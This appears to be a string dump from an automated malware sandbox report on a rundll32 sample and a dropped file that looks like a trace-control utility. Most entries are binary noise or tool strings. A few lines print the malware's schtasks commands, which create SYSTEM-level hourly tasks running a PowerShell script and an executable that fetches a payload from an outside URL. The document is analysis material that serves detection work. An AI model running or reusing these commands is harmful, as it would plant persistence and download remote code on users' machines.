Ansi based on Runtime Data (rundll32.exe )
O/;????+
Ansi based on Runtime Data (rundll32.exe )
ol?u[?|]
Ansi based on Runtime Data (rundll32.exe )
OV?>???.??t?LT4
Ansi based on Runtime Data (rundll32.exe )
oW?1?v?DO?
Ansi based on Runtime Data (rundll32.exe )
p?.???PX?
Ansi based on Runtime Data (rundll32.exe )
P?'????<?
Ansi based on Runtime Data (rundll32.exe )
P?J??$?"?
Ansi based on Runtime Data (rundll32.exe )
pc32.cfg
Unicode based on Runtime Data (rundll32.exe )
pc32.exe
Unicode based on Runtime Data (rundll32.exe )
pc64.cfg
Unicode based on Runtime Data (rundll32.exe )
pc64.exe
Unicode based on Runtime Data (rundll32.exe )
pkE<?%$)@?}??
Ansi based on Runtime Data (rundll32.exe )
Q+????Lz}?y?
Ansi based on Runtime Data (rundll32.exe )
Q?;?[_?
Ansi based on Runtime Data (rundll32.exe )
Q^?[??
Ansi based on Runtime Data (rundll32.exe )
Qa??8??
Ansi based on Runtime Data (rundll32.exe )
r?1l?
Ansi based on Runtime Data (rundll32.exe )
R??D??:?.
Ansi based on Runtime Data (rundll32.exe )
rentControlSet\Control\SafeBoot\Network\Ndisuio
Unicode based on Runtime Data (rundll32.exe )
S?1????R?}
Ansi based on Runtime Data (rundll32.exe )
s??<R?;?[
Ansi based on Runtime Data (rundll32.exe )
S??????
Ansi based on Runtime Data (rundll32.exe )
S??????5?W???=??f
Ansi based on Runtime Data (rundll32.exe )
s????N????4@????;*?c???@??
Ansi based on Runtime Data (rundll32.exe )
s?V??)?`?j???b
Ansi based on Runtime Data (rundll32.exe )
sM??(J'c??
Ansi based on Runtime Data (rundll32.exe )
%APPDATA%\WinSAPSvc\WinSAP.dll
Unicode based on Runtime Data (rundll32.exe )
ServiceDll
Unicode based on Runtime Data (rundll32.exe )
schtasks /Create /SC HOURLY /MO 3 /ST 00:37:00 /TN "Windows-PG" /TR "%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe %WINDIR%\psgo\psgo.ps1" /RU "SYSTEM" /F /RL HIGHEST
Ansi based on Process Commandline (schtasks.exe)
schtasks /Run /TN Milimili
Ansi based on Process Commandline (schtasks.exe)
schtasks /Run /TN Windows-PG
Ansi based on Process Commandline (schtasks.exe)
schtasks /Create /SC HOURLY /MO 2 /ST 09:45:00 /TN "Milimili" /TR "\"%PROGRAMFILES%\MIO\MIO.exe\" -bindurl http://api.suibianmaimaicom.com/vboxxharddisk_vb47a275fd-833fcbff.dat cmd=" /RU "SYSTEM" /F /RL HIGHEST
Ansi based on Process Commandline (schtasks.exe)
-nonet Disable Network TCP/IP tracing
Unicode based on Dropped File (ttttt.exe.179545488)
-pf Enable page faults tracing
Unicode based on Dropped File (ttttt.exe.179545488)
Enable Process Private tracing
Unicode based on Dropped File (ttttt.exe.179545488)
Enable tracing in kernel debugger
Unicode based on Dropped File (ttttt.exe.179545488)
Tracing for Heap and CritSec for different process
Unicode based on Dropped File (ttttt.exe.179545488)
CPU Cycle
Unicode based on Dropped File (ttttt.exe.179545488)
Generate Local Sequence Numbers
Unicode based on Dropped File (ttttt.exe.179545488)
Use this for Heap Guid
Unicode based on Dropped File (ttttt.exe.179545488)
0x%I64x
Unicode based on Dropped File (ttttt.exe.179545488)
Log to a new file after every n Mbytes. File name needs to contain %%d
Unicode based on Dropped File (ttttt.exe.179545488)
Specify a Package Relative App Id filter separated by semi-colon
Unicode based on Dropped File (ttttt.exe.179545488)
default value
Unicode based on Dropped File (ttttt.exe.179545488)
%d Kb
Unicode based on Dropped File (ttttt.exe.179545488)
[LoggerName] Flushes the [LoggerName] active buffers
Unicode based on Dropped File (ttttt.exe.179545488)
not set
Unicode based on Dropped File (ttttt.exe.179545488)
List all trace sessions
Unicode based on Dropped File (ttttt.exe.179545488)
Level Flags
Unicode based on Dropped File (ttttt.exe.179545488)
%s Filter.
Unicode based on Dropped File (ttttt.exe.179545488)
<n> Specify n buffers to get filled before start flushing them
Unicode based on Dropped File (ttttt.exe.179545488)
= %s Instance Count = %d
Unicode based on Dropped File (ttttt.exe.179545488)
= 0x%I64x Level = %-3d) to logger %I64d
Unicode based on Dropped File (ttttt.exe.179545488)
[#<guid>] Enumerate Registered Trace Guids
Unicode based on Dropped File (ttttt.exe.179545488)
a Package id filter separated by semi-colon
Unicode based on Dropped File (ttttt.exe.179545488)
Caching
Unicode based on Dropped File (ttttt.exe.179545488)
control utility
Unicode based on Dropped File (ttttt.exe.179545488)
Corporation
Unicode based on Dropped File (ttttt.exe.179545488)
Failed to %s Guid [%d]...
Unicode based on Dropped File (ttttt.exe.179545488)
Filter arguments.
Unicode based on Dropped File (ttttt.exe.179545488)
filter with <n> Pids (maximum 8 allowed)
Unicode based on Dropped File (ttttt.exe.179545488)
GroupMask ExtItem
Unicode based on Dropped File (ttttt.exe.179545488)
GUID for PRIVATE loggers
Unicode based on Dropped File (ttttt.exe.179545488)
information
Unicode based on Dropped File (ttttt.exe.179545488)
Lists the providers enabled to each session returned by a query
Unicode based on Dropped File (ttttt.exe.179545488)
Not enough memory to allocate %s filter
Unicode based on Dropped File (ttttt.exe.179545488)
Operating System
Unicode based on Dropped File (ttttt.exe.179545488)
per-processor buffering
Unicode based on Dropped File (ttttt.exe.179545488)
Registry value
Unicode based on Dropped File (ttttt.exe.179545488)
Sequential logfile of up to n Mbytes
Unicode based on Dropped File (ttttt.exe.179545488)
Size: %d Mb
Unicode based on Dropped File (ttttt.exe.179545488)
Starts up the [LoggerName] trace session
Unicode based on Dropped File (ttttt.exe.179545488)
tracing
Unicode based on Dropped File (ttttt.exe.179545488)
use by another logger.
Unicode based on Dropped File (ttttt.exe.179545488)
you want to stop the "%s" session (Y or N)?
Unicode based on Dropped File (ttttt.exe.179545488)
#<guid> Enable tracing for a provider by guid
Unicode based on Dropped File (ttttt.exe.179545488)
%%SystemRoot%%\System32\LogFiles\WMI\trace.log
Unicode based on Dropped File (ttttt.exe.179545488)
%-2d %-20s %5d 0x%08I64X
Unicode based on Dropped File (ttttt.exe.179545488)
%-2d %-20s %5d 0x%08X 0x%016I64X 0x%016I64X
Unicode based on Dropped File (ttttt.exe.179545488)
%-2d Group: %s
Unicode based on Dropped File (ttttt.exe.179545488)
%.4x Hook: %s
Unicode based on Dropped File (ttttt.exe.179545488)
%08x-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x
Unicode based on Dropped File (ttttt.exe.179545488)
%3d %-25ws %10d %5d %10d
Ansi based on Dropped File (ttttt.exe.179545488)
%s %5s %d %d %d
Unicode based on Dropped File (ttttt.exe.179545488)
%s %5d 0x%08I64x
Unicode based on Dropped File (ttttt.exe.179545488)
%X %X
Ansi based on Dropped File (ttttt.exe.179545488)
+HARD_FAULTS+PROFILE
Unicode based on Dropped File (ttttt.exe.179545488)
---------------------- Enable Information ----------------
Unicode based on Dropped File (ttttt.exe.179545488)
---------------------- Enable Information --------------------------------------
Unicode based on Dropped File (ttttt.exe.179545488)
----------------------------------
Unicode based on Dropped File (ttttt.exe.179545488)
--------------------------------------
Unicode based on Dropped File (ttttt.exe.179545488)
-----------------------------------------
Unicode based on Dropped File (ttttt.exe.179545488)
-------------------------------------------------------
Unicode based on Dropped File (ttttt.exe.179545488)
------------------------------------------------------------
Unicode based on Dropped File (ttttt.exe.179545488)
--------------------------------------------------------------
Ansi based on Dropped File (ttttt.exe.179545488)
-? Display usage information
Unicode based on Dropped File (ttttt.exe.179545488)
-addautologger
Unicode based on Dropped File (ttttt.exe.179545488)
-addautologger [LoggerName]
Unicode based on Dropped File (ttttt.exe.179545488)
-addtotriagedump Write out buffers for triage memory dumps
Unicode based on Dropped File (ttttt.exe.179545488)
-b <n> Sets buffer size to <n> Kbytes
Unicode based on Dropped File (ttttt.exe.179545488)
-bt <n> Specify n buffers to get filled before start flushing them
Unicode based on Dropped File (ttttt.exe.179545488)
-buffering Enable tracing in buffering mode
Unicode based on Dropped File (ttttt.exe.179545488)
-capturestate
Unicode based on Dropped File (ttttt.exe.179545488)
-capturestate [LoggerName]
Unicode based on Dropped File (ttttt.exe.179545488)
-cm Enable registry calls tracing
Unicode based on Dropped File (ttttt.exe.179545488)
-critsec Use this for CritSec Guid
Unicode based on Dropped File (ttttt.exe.179545488)
-disable
Unicode based on Dropped File (ttttt.exe.179545488)
-disable [LoggerName] Disables providers for the [LoggerName] session
Unicode based on Dropped File (ttttt.exe.179545488)
-disableex
Unicode based on Dropped File (ttttt.exe.179545488)
-dpcisr Enable kerenl events for DPC/ISR analysis
Unicode based on Dropped File (ttttt.exe.179545488)
-enable
Unicode based on Dropped File (ttttt.exe.179545488)
-enable [LoggerName] Enables providers for the [LoggerName] session
Unicode based on Dropped File (ttttt.exe.179545488)
-enableex
Unicode based on Dropped File (ttttt.exe.179545488)
-enumguid
Unicode based on Dropped File (ttttt.exe.179545488)
-enumguid Enumerate Registered Trace Guids
Unicode based on Dropped File (ttttt.exe.179545488)
-EventIdFilter -<in|out> <n> <id1 id2 ...>
Unicode based on Dropped File (ttttt.exe.179545488)
-ExeFilter <Executable names>
Unicode based on Dropped File (ttttt.exe.179545488)
-filter
Unicode based on Dropped File (ttttt.exe.179545488)
-fio Enable file I/O tracing
Unicode based on Dropped File (ttttt.exe.179545488)
-flag <n> Enable Flags passed to the providers
Unicode based on Dropped File (ttttt.exe.179545488)
-ft <n> Set flush timer to n seconds
Unicode based on Dropped File (ttttt.exe.179545488)
-gs Generate Global Squence Numbers
Unicode based on Dropped File (ttttt.exe.179545488)
-hf Enable hard faults tracing
Unicode based on Dropped File (ttttt.exe.179545488)
-hybridshutdown [stop|persist]
Unicode based on Dropped File (ttttt.exe.179545488)
-img Enable image load tracing
Unicode based on Dropped File (ttttt.exe.179545488)
-independent Enable independent mode on the trace session
Unicode based on Dropped File (ttttt.exe.179545488)
-kb Use KiloBytes for Log File size.
Unicode based on Dropped File (ttttt.exe.179545488)
-kd Enable tracing in kernel debugger
Unicode based on Dropped File (ttttt.exe.179545488)
-level <n> Enable Level passed to the providers
Unicode based on Dropped File (ttttt.exe.179545488)
-LogFileMode
Unicode based on Dropped File (ttttt.exe.179545488)
-lp Lists the providers enabled to each session returned by a query
Unicode based on Dropped File (ttttt.exe.179545488)
-matchallkw <n> MatchAllKeyword to the providers
Unicode based on Dropped File (ttttt.exe.179545488)
-max <n> Sets maximum buffers
Unicode based on Dropped File (ttttt.exe.179545488)
-min <n> Sets minimum buffers
Unicode based on Dropped File (ttttt.exe.179545488)
-newfile
Unicode based on Dropped File (ttttt.exe.179545488)
-newfile <n> Log to a new file after every n Mbytes. File name needs to contain %%d
Unicode based on Dropped File (ttttt.exe.179545488)
-nodisk Disable Disk I/O tracing
Unicode based on Dropped File (ttttt.exe.179545488)
-noprocess Disable Process Start/End tracing
Unicode based on Dropped File (ttttt.exe.179545488)
-paged Use pageable memory for buffers
Unicode based on Dropped File (ttttt.exe.179545488)
-PidFilter <n> <pid1 pid2 ... >
Unicode based on Dropped File (ttttt.exe.179545488)
-pids <n> <pid1 pid2 ... >
Unicode based on Dropped File (ttttt.exe.179545488)
-PkgAppIdFilter <PRAID>
Unicode based on Dropped File (ttttt.exe.179545488)
-PkgIdFilter <Package Full Name>
Unicode based on Dropped File (ttttt.exe.179545488)
-Pmc <Ctrs>:<Events> Configure PMC counter sampling on events
Unicode based on Dropped File (ttttt.exe.179545488)
-ProfileSource
Unicode based on Dropped File (ttttt.exe.179545488)
-ProfileSource <src> Configure profiling source to use. 'Help' for list of sources
Unicode based on Dropped File (ttttt.exe.179545488)
-q [LoggerName] Query status of [LoggerName] trace session
Unicode based on Dropped File (ttttt.exe.179545488)
-remove
Unicode based on Dropped File (ttttt.exe.179545488)
-rt b option is no longer valid. It has been replaced by -buffering.
Unicode based on Dropped File (ttttt.exe.179545488)
-secure
Unicode based on Dropped File (ttttt.exe.179545488)
-seq <n> Sequential logfile of up to n Mbytes
Unicode based on Dropped File (ttttt.exe.179545488)
-sessionguid Autologger session GUID Registry value
Unicode based on Dropped File (ttttt.exe.179545488)
-SetProfInt
Unicode based on Dropped File (ttttt.exe.179545488)
-sourceguid #<guid> Enable tracing with Source Guid (enableex/disableex only)
Unicode based on Dropped File (ttttt.exe.179545488)
-stackwalk <Events> Enable stack walking for specified events
Unicode based on Dropped File (ttttt.exe.179545488)
-StackWalkFilter -<in|out> <n> <id1 id2 ...>
Unicode based on Dropped File (ttttt.exe.179545488)
-start
Unicode based on Dropped File (ttttt.exe.179545488)
-start [LoggerName] Starts up the [LoggerName] trace session
Unicode based on Dropped File (ttttt.exe.179545488)
-stop
Unicode based on Dropped File (ttttt.exe.179545488)
-stop [LoggerName] Stops the [LoggerName] trace session
Unicode based on Dropped File (ttttt.exe.179545488)
-systemlogger Logger can receive SystemTraceProvider events
Unicode based on Dropped File (ttttt.exe.179545488)
-systemrundown [LoggerName]
Unicode based on Dropped File (ttttt.exe.179545488)
-timeout
Unicode based on Dropped File (ttttt.exe.179545488)
-um Enable Process Private tracing
Unicode based on Dropped File (ttttt.exe.179545488)
-update
Unicode based on Dropped File (ttttt.exe.179545488)
-update [LoggerName] Updates the [LoggerName] trace session
Unicode based on Dropped File (ttttt.exe.179545488)
-UsePerfCounter Use Perf Counter clock
Unicode based on Dropped File (ttttt.exe.179545488)
-UseSystemTime Use System Time clock
Unicode based on Dropped File (ttttt.exe.179545488)
.00cfg
Ansi based on Dropped File (ttttt.exe.179545488)
.cfguard
Ansi based on Dropped File (ttttt.exe.179545488)
.CRT$XCA
Ansi based on Dropped File (ttttt.exe.179545488)
.CRT$XCAA
Ansi based on Dropped File (ttttt.exe.179545488)
.CRT$XCZ
Ansi based on Dropped File (ttttt.exe.179545488)
.CRT$XIA
Ansi based on Dropped File (ttttt.exe.179545488)
.CRT$XIAA
Ansi based on Dropped File (ttttt.exe.179545488)
.CRT$XIY
Ansi based on Dropped File (ttttt.exe.179545488)
.CRT$XIZ
Ansi based on Dropped File (ttttt.exe.179545488)
.data
Ansi based on Dropped File (ttttt.exe.179545488)
.data$brc
Ansi based on Dropped File (ttttt.exe.179545488)
.idata
Ansi based on Dropped File (ttttt.exe.179545488)
.idata$2
Ansi based on Dropped File (ttttt.exe.179545488)
.idata$3
Ansi based on Dropped File (ttttt.exe.179545488)
.idata$4
Ansi based on Dropped File (ttttt.exe.179545488)
.idata$5
Ansi based on Dropped File (ttttt.exe.179545488)
.idata$6
Ansi based on Dropped File (ttttt.exe.179545488)
.rdata
Ansi based on Dropped File (ttttt.exe.179545488)
.rdata$brc
Ansi based on Dropped File (ttttt.exe.179545488)
.rdata$sxdata
Ansi based on Dropped File (ttttt.exe.179545488)
.rdata$zzzdbg
Ansi based on Dropped File (ttttt.exe.179545488)
.rsrc$01
Ansi based on Dropped File (ttttt.exe.179545488)
.rsrc$02
Ansi based on Dropped File (ttttt.exe.179545488)
.text$mn
Ansi based on Dropped File (ttttt.exe.179545488)
.xdata$x
Ansi based on Dropped File (ttttt.exe.179545488)
0x%04x
Unicode based on Dropped File (ttttt.exe.179545488)
0x%08I64X
Unicode based on Dropped File (ttttt.exe.179545488)
0x%08x
Unicode based on Dropped File (ttttt.exe.179545488)
10.0.14393.33
Unicode based on Dropped File (ttttt.exe.179545488)
10.0.14393.33 (rs1_release_sec.160727-1952)
Unicode based on Dropped File (ttttt.exe.179545488)
20s %5d 0x%08X 0x%016I64X 0x%016I64X
Unicode based on Dropped File (ttttt.exe.179545488)
2d Group: %s
Unicode based on Dropped File (ttttt.exe.179545488)
3d) to logger %I64d
Unicode based on Dropped File (ttttt.exe.179545488)
4x-%02x%02x-%02x%02x%02x%02x%02x%02x
Unicode based on Dropped File (ttttt.exe.179545488)
: %d
Unicode based on Dropped File (ttttt.exe.179545488)
<?xml version="1.0" encoding="UTF-8" standalone="yes"?> Copyright (c) Microsoft Corporation --><assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"><assemblyIdentity version="1.0.0.0" processorArchitecture="x86" name="Microsoft.Windows.TraceLog" type="win32"/><description>Trace Control Program</description><trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"> <security> <requestedPrivileges> <requestedExecutionLevel level="asInvoker" uiAccess="false" /> </requestedPrivileges> </security></trustInfo></assembly>
Ansi based on Dropped File (ttttt.exe.179545488)
<flag...> Enable kernel events using extended flags
Unicode based on Dropped File (ttttt.exe.179545488)
<n> Sets buffer size to <n> Kbytes
Unicode based on Dropped File (ttttt.exe.179545488)
<n> Enable Level passed to the providers
Unicode based on Dropped File (ttttt.exe.179545488)
?terminate@@YAXXZ
Ansi based on Dropped File (ttttt.exe.179545488)
@.rsrc
Ansi based on Dropped File (ttttt.exe.179545488)
[Instance %-4d: Driver %6s] %s
Unicode based on Dropped File (ttttt.exe.179545488)
[Instance %-4d: Pre-Enabled %6s] %s
Unicode based on Dropped File (ttttt.exe.179545488)
[Instance %-4d: User Mode %6s] Pid = %-8d %s
Unicode based on Dropped File (ttttt.exe.179545488)
\Filters
Unicode based on Dropped File (ttttt.exe.179545488)
\LogFile.Etl
Unicode based on Dropped File (ttttt.exe.179545488)
\StringFileInfo\%04x%04x\%s
Unicode based on Dropped File (ttttt.exe.179545488)
\System32\LogFiles\WMI\trace.log
Unicode based on Dropped File (ttttt.exe.179545488)
\WMI\
Unicode based on Dropped File (ttttt.exe.179545488)
__p__commode
Ansi based on Dropped File (ttttt.exe.179545488)
__p__fmode
Ansi based on Dropped File (ttttt.exe.179545488)
__set_app_type
Ansi based on Dropped File (ttttt.exe.179545488)
__setusermatherr
Ansi based on Dropped File (ttttt.exe.179545488)
__wgetmainargs
Ansi based on Dropped File (ttttt.exe.179545488)
_ALLOC
Unicode based on Dropped File (ttttt.exe.179545488)
_amsg_exit
Ansi based on Dropped File (ttttt.exe.179545488)
_cexit
Ansi based on Dropped File (ttttt.exe.179545488)
_controlfp
Ansi based on Dropped File (ttttt.exe.179545488)
_except_handler4_common
Ansi based on Dropped File (ttttt.exe.179545488)
_exit
Ansi based on Dropped File (ttttt.exe.179545488)
_INIT
Unicode based on Dropped File (ttttt.exe.179545488)
_initterm
Ansi based on Dropped File (ttttt.exe.179545488)
_IO_INIT
Unicode based on Dropped File (ttttt.exe.179545488)
_wcsicmp
Ansi based on Dropped File (ttttt.exe.179545488)
_wfopen
Ansi based on Dropped File (ttttt.exe.179545488)
_wfullpath
Ansi based on Dropped File (ttttt.exe.179545488)
_wtoi
Ansi based on Dropped File (ttttt.exe.179545488)
_wtoi64
Ansi based on Dropped File (ttttt.exe.179545488)
_wtol
Ansi based on Dropped File (ttttt.exe.179545488)
_XcptFilter
Ansi based on Dropped File (ttttt.exe.179545488)
`.data
Ansi based on Dropped File (ttttt.exe.179545488)
ableProperty
Unicode based on Dropped File (ttttt.exe.179545488)
aceLog Failed to allocate buffer for EnumerateTraceGuidsEx
Unicode based on Dropped File (ttttt.exe.179545488)
acing with Source Guid (enableex/disableex only)
Unicode based on Dropped File (ttttt.exe.179545488)
acing:
Unicode based on Dropped File (ttttt.exe.179545488)
actions:
Unicode based on Dropped File (ttttt.exe.179545488)
ad Disable Thread Start/End tracing
Unicode based on Dropped File (ttttt.exe.179545488)
AD+DISK_IO+HARD_FAULTS+PROFILE
Unicode based on Dropped File (ttttt.exe.179545488)
adDCEnd
Unicode based on Dropped File (ttttt.exe.179545488)
Adding GroupMask ExtItem
Unicode based on Dropped File (ttttt.exe.179545488)
Adding Pids ExtItem
Unicode based on Dropped File (ttttt.exe.179545488)
Adding StackWalk ExtItem
Unicode based on Dropped File (ttttt.exe.179545488)
AddToTriageDump
Unicode based on Dropped File (ttttt.exe.179545488)
AdjustTokenPrivileges
Ansi based on Dropped File (ttttt.exe.179545488)
Affinity
Unicode based on Dropped File (ttttt.exe.179545488)
ageDump
Unicode based on Dropped File (ttttt.exe.179545488)
ageIdFilter
Unicode based on Dropped File (ttttt.exe.179545488)
AgeLimit: %d
Unicode based on Dropped File (ttttt.exe.179545488)
alid Exe Filter arguments.
Unicode based on Dropped File (ttttt.exe.179545488)
alkIds
Unicode based on Dropped File (ttttt.exe.179545488)
allEnter
Unicode based on Dropped File (ttttt.exe.179545488)
AlpcConnectFail
Unicode based on Dropped File (ttttt.exe.179545488)
AlpcConnectRequest
Unicode based on Dropped File (ttttt.exe.179545488)
AlpcSendMessage
Unicode based on Dropped File (ttttt.exe.179545488)
ame] Updates the [LoggerName] trace session
Unicode based on Dropped File (ttttt.exe.179545488)
ANTI_STARVATION
Unicode based on Dropped File (ttttt.exe.179545488)
apFree
Unicode based on Dropped File (ttttt.exe.179545488)
api-ms-win-eventing-controller-l1-1-0
Unicode based on Dropped File (ttttt.exe.179545488)
Append
Unicode based on Dropped File (ttttt.exe.179545488)
asePriority
Unicode based on Dropped File (ttttt.exe.179545488)
astIo
Unicode based on Dropped File (ttttt.exe.179545488)
atchAny MatchAll
Unicode based on Dropped File (ttttt.exe.179545488)
ativeAppIdFilter
Unicode based on Dropped File (ttttt.exe.179545488)
AutoLogger\
Unicode based on Dropped File (ttttt.exe.179545488)
backEnqueue
Unicode based on Dropped File (ttttt.exe.179545488)
BER_RUNDOWN
Unicode based on Dropped File (ttttt.exe.179545488)
bjectTypeFilter
Unicode based on Dropped File (ttttt.exe.179545488)
bles providers for the [LoggerName] session
Unicode based on Dropped File (ttttt.exe.179545488)
boot Preserve: Yes
Unicode based on Dropped File (ttttt.exe.179545488)
Buffer Flush Timer: %d %ws
Unicode based on Dropped File (ttttt.exe.179545488)
Buffer Flush Timer: not set
Unicode based on Dropped File (ttttt.exe.179545488)
Buffer Size: %d Kb
Unicode based on Dropped File (ttttt.exe.179545488)
Buffer Size: default value
Unicode based on Dropped File (ttttt.exe.179545488)
Buffer-Interface
Unicode based on Dropped File (ttttt.exe.179545488)
Buffering-only
Unicode based on Dropped File (ttttt.exe.179545488)
Buffers Written: %d
Unicode based on Dropped File (ttttt.exe.179545488)
Buffers: default value
Unicode based on Dropped File (ttttt.exe.179545488)
BufferSize
Unicode based on Dropped File (ttttt.exe.179545488)
CacheManager
Unicode based on Dropped File (ttttt.exe.179545488)
CaptureState request for logger %I64d
Unicode based on Dropped File (ttttt.exe.179545488)
CCSWITCH
Unicode based on Dropped File (ttttt.exe.179545488)
ceEx2
Unicode based on Dropped File (ttttt.exe.179545488)
ChargeExecution
Unicode based on Dropped File (ttttt.exe.179545488)
Check your Guids file
Unicode based on Dropped File (ttttt.exe.179545488)
cified
Ansi based on Dropped File (ttttt.exe.179545488)
Circular
Unicode based on Dropped File (ttttt.exe.179545488)
Circular Kernel Context Logger
Unicode based on Dropped File (ttttt.exe.179545488)
ClockType
Unicode based on Dropped File (ttttt.exe.179545488)
ClockType CPU Cycle
Unicode based on Dropped File (ttttt.exe.179545488)
ClockType: PerfCounter
Unicode based on Dropped File (ttttt.exe.179545488)
ClockType: SystemTime
Unicode based on Dropped File (ttttt.exe.179545488)
ClockType: Unknown
Unicode based on Dropped File (ttttt.exe.179545488)
conds
Unicode based on Dropped File (ttttt.exe.179545488)
Configuring PMC collection...
Unicode based on Dropped File (ttttt.exe.179545488)
Configuring profile source: %ws
Unicode based on Dropped File (ttttt.exe.179545488)
Control hybrid shutdown logger behavior
Unicode based on Dropped File (ttttt.exe.179545488)
ControlTraceW
Ansi based on Dropped File (ttttt.exe.179545488)
ConvertSecurityDescriptorToStringSecurityDescriptorW
Ansi based on Dropped File (ttttt.exe.179545488)
Could not parse Group ID in Stack Walking Parameter File.
Ansi based on Dropped File (ttttt.exe.179545488)
Could not start logger: %sOperation Status: %uL%s
Unicode based on Dropped File (ttttt.exe.179545488)
CPUCycle
Unicode based on Dropped File (ttttt.exe.179545488)
CreateKey
Unicode based on Dropped File (ttttt.exe.179545488)
Creates the registry keys [LoggerName] autologger session.
Unicode based on Dropped File (ttttt.exe.179545488)
crosoft Corporation. All rights reserved.
Unicode based on Dropped File (ttttt.exe.179545488)
CSWITCH
Unicode based on Dropped File (ttttt.exe.179545488)
ctDereference
Unicode based on Dropped File (ttttt.exe.179545488)
cution
Unicode based on Dropped File (ttttt.exe.179545488)
dOperation Status: %uL%s
Unicode based on Dropped File (ttttt.exe.179545488)
d 0x%08I64x
Unicode based on Dropped File (ttttt.exe.179545488)
d not parse Group ID in Stack Walking Parameter File.
Ansi based on Dropped File (ttttt.exe.179545488)
d to allocate buffer: %d
Unicode based on Dropped File (ttttt.exe.179545488)
d> Enable tracing for a provider by guid
Unicode based on Dropped File (ttttt.exe.179545488)
DbgPrint
Unicode based on Dropped File (ttttt.exe.179545488)
Debugger
Unicode based on Dropped File (ttttt.exe.179545488)
DelayOpen
Unicode based on Dropped File (ttttt.exe.179545488)
DeleteKey
Unicode based on Dropped File (ttttt.exe.179545488)
DeleteValue
Unicode based on Dropped File (ttttt.exe.179545488)
DemandZero
Unicode based on Dropped File (ttttt.exe.179545488)
Destroy
Unicode based on Dropped File (ttttt.exe.179545488)
Dirty
Unicode based on Dropped File (ttttt.exe.179545488)
disable
Unicode based on Dropped File (ttttt.exe.179545488)
Disabling %s to logger %I64d
Unicode based on Dropped File (ttttt.exe.179545488)
DiskIo
Unicode based on Dropped File (ttttt.exe.179545488)
DiskWrite
Unicode based on Dropped File (ttttt.exe.179545488)
Do you want to stop the "%s" session (Y or N)?
Unicode based on Dropped File (ttttt.exe.179545488)
DPC_QUEUE
Unicode based on Dropped File (ttttt.exe.179545488)
DpcEnqueue
Unicode based on Dropped File (ttttt.exe.179545488)
ductName
Unicode based on Dropped File (ttttt.exe.179545488)
e "%s" session has not been stopped, current Status is
Unicode based on Dropped File (ttttt.exe.179545488)
e-allocate
Unicode based on Dropped File (ttttt.exe.179545488)
e: PerfCounter
Unicode based on Dropped File (ttttt.exe.179545488)
e: %d Kb
Unicode based on Dropped File (ttttt.exe.179545488)
ed to get current directory
Unicode based on Dropped File (ttttt.exe.179545488)
eDestroy
Unicode based on Dropped File (ttttt.exe.179545488)
eFilter <Executable names>
Unicode based on Dropped File (ttttt.exe.179545488)
elQueueEnqueue
Unicode based on Dropped File (ttttt.exe.179545488)
emTime
Unicode based on Dropped File (ttttt.exe.179545488)
enable
Unicode based on Dropped File (ttttt.exe.179545488)
Enabled
Unicode based on Dropped File (ttttt.exe.179545488)
Enabled Providers:
Unicode based on Dropped File (ttttt.exe.179545488)
Enabled tracing:
Unicode based on Dropped File (ttttt.exe.179545488)
EnableKernelFlags
Unicode based on Dropped File (ttttt.exe.179545488)
EnableLevel
Unicode based on Dropped File (ttttt.exe.179545488)
EnableProperty
Unicode based on Dropped File (ttttt.exe.179545488)
EnableTraceEx2
Ansi based on Dropped File (ttttt.exe.179545488)
Enabling %s (Flags = 0x%.8x Level = %-3d) to logger %I64d
Unicode based on Dropped File (ttttt.exe.179545488)
Enabling %s (MatchAny = 0x%I64x MatchAll = 0x%I64x Level = %-3d) to logger %I64d
Unicode based on Dropped File (ttttt.exe.179545488)
Enabling Stack Caching
Unicode based on Dropped File (ttttt.exe.179545488)
EnumerateTraceGuids
Ansi based on Dropped File (ttttt.exe.179545488)
EnumerateTraceGuidsEx
Ansi based on Dropped File (ttttt.exe.179545488)
EnumerateTraceGuidsEx Failed %d
Unicode based on Dropped File (ttttt.exe.179545488)
EnumerateTraceGuidsEx Failed %d
Unicode based on Dropped File (ttttt.exe.179545488)
equeue
Unicode based on Dropped File (ttttt.exe.179545488)
eReserve
Unicode based on Dropped File (ttttt.exe.179545488)
erface
Unicode based on Dropped File (ttttt.exe.179545488)
erName] trace session
Unicode based on Dropped File (ttttt.exe.179545488)
Error: %s filter is too long.
Unicode based on Dropped File (ttttt.exe.179545488)
Error: %s is invalid.
Unicode based on Dropped File (ttttt.exe.179545488)
ERROR: Failed to %s Guid [%d]...
Unicode based on Dropped File (ttttt.exe.179545488)
ERROR: Failed to enable preservationOperation Status: %uL%ws
Unicode based on Dropped File (ttttt.exe.179545488)
ERROR: Failed to set profile interval
Ansi based on Dropped File (ttttt.exe.179545488)
Error: Invalid Package Id Filter arguments.
Unicode based on Dropped File (ttttt.exe.179545488)
Error: Invalid Package Relative App Id Filter arguments.
Unicode based on Dropped File (ttttt.exe.179545488)
Error: Log File Name too long.
Unicode based on Dropped File (ttttt.exe.179545488)
Error: Logger Name is too long.
Unicode based on Dropped File (ttttt.exe.179545488)
ERROR: Logger not startedOperation Status: %uL%s
Unicode based on Dropped File (ttttt.exe.179545488)
Error: Multiple %s filters are specified.
Unicode based on Dropped File (ttttt.exe.179545488)
Error: Multiple %s Filters.
Unicode based on Dropped File (ttttt.exe.179545488)
Error: no action specified
Unicode based on Dropped File (ttttt.exe.179545488)
ERROR: No guids were given for enable/disable.
Unicode based on Dropped File (ttttt.exe.179545488)
ERROR: No profile source specified
Ansi based on Dropped File (ttttt.exe.179545488)
ERROR: Profiling not supported on this version
Ansi based on Dropped File (ttttt.exe.179545488)
ERROR: System Logger does not accept application guids.
Unicode based on Dropped File (ttttt.exe.179545488)
ERROR: Unrecognized profile source %ws
Ansi based on Dropped File (ttttt.exe.179545488)
ers Lost: %d
Unicode based on Dropped File (ttttt.exe.179545488)
ervationOperation Status: %uL%ws
Unicode based on Dropped File (ttttt.exe.179545488)
ETW Tracing Guid Count = %d
Unicode based on Dropped File (ttttt.exe.179545488)
evel Enable
Unicode based on Dropped File (ttttt.exe.179545488)
EventIdFilterIn
Unicode based on Dropped File (ttttt.exe.179545488)
EventIds
Unicode based on Dropped File (ttttt.exe.179545488)
EventKernel
Unicode based on Dropped File (ttttt.exe.179545488)
Events Lost: %d
Unicode based on Dropped File (ttttt.exe.179545488)
ewMessage
Unicode based on Dropped File (ttttt.exe.179545488)
ExeFilter
Unicode based on Dropped File (ttttt.exe.179545488)
f Buffers: %d
Unicode based on Dropped File (ttttt.exe.179545488)
